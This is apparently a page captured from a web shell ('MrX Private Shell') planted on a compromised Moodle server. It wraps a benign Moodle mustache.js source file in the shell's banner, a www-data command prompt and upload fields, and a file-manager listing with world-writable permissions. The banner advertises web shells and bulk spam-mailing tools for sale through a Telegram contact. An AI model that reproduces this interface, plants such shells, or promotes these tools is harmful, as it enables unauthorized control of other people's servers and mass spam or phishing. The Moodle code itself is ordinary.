__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Render mustache template examples within the component library.
 *
 * @module     tool_componentlibrary/mustache
 * @copyright  2021 Bas Brands <bas@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import selectors from 'tool_componentlibrary/selectors';
import Ajax from 'core/ajax';
import Config from 'core/config';
import Templates from 'core/templates';
import Log from 'core/log';
import Notification from 'core/notification';

/**
 * Handle a template loaded response.
 *
 * @method
 * @private
 * @param {String} container The template container
 * @param {String} templateName The template name
 * @param {String} context Data for the template.
 */
const renderTemplate = async(container, templateName, context) => {
    try {
        context = JSON.parse(context);
    } catch (e) {
        Log.debug('Could not parse json example context for template.');
        Log.debug(e);
    }

    const {html, js} = await Templates.renderForPromise(templateName, context);

    const rendercontainer = container.querySelector(selectors.mustacherendered);

    // Load the rendered content in the renderer tab.
    await Templates.replaceNodeContents(rendercontainer, html, js);
};

/**
 * Load the a template source from Moodle.
 *
 * @method
 * @private
 * @param {String} container The template container
 */
const loadTemplate = container => {
        const sourcecontainer = container.querySelector(selectors.mustachesource);
        const contextcontainer = container.querySelector(selectors.mustachecontext);
        const templateName = container.dataset.template;
        let context = container.querySelector(selectors.mustacherawcontext).textContent;

        const parts = templateName.split('/');
        const component = parts.shift();
        const name = parts.join('/');

        const request = {
            methodname: 'core_output_load_template',
            args: {
                component: component,
                template: name,
                themename: Config.theme,
                includecomments: true
            }
        };

        Ajax.call([request])[0]
            .done((source) => {
                // Load the source template in Template tab.
                sourcecontainer.textContent = source;
                if (!context) {
                    const example = source.match(/Example context \(json\):([\s\S]+?)(}})/);
                    context = example[1];
                    // Load the variables in the Variables tab.
                    const precontainer = document.createElement("pre");
                    precontainer.innerHTML = JSON.stringify(JSON.parse(context), null, 4);
                    contextcontainer.parentNode.appendChild(precontainer);
                    contextcontainer.classList.add('d-none');
                }
                renderTemplate(container, templateName, context);
            })
            .fail(Notification.exception);
};

/**
 * Initialize the module.
 *
 * @method
 */
export const mustache = () => {
    document.querySelectorAll(selectors.mustachecode).forEach((container) => {
        loadTemplate(container);
    });
};

Filemanager

Name Type Size Permission Actions
clipboardwrapper.js File 1.65 KB 0777
jsrunner.js File 1.61 KB 0777
loader.js File 1.28 KB 0777
lunr.js File 97.68 KB 0777
mustache.js File 3.76 KB 0777
search.js File 4.57 KB 0777
selectors.js File 2.82 KB 0777
Filemanager